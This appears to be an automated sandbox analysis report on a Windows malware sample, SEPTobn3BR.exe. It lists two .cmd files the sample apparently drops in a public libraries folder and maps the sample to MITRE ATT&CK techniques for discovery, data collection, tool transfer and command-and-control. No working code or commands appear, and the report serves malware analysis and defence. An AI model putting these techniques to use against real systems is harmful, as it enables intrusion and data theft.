C:\Users\Public\Libraries\FX.cmd

C:\Users\Public\Libraries\NEO.cmd

Windows Analysis Report
SEPTobn3BR.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre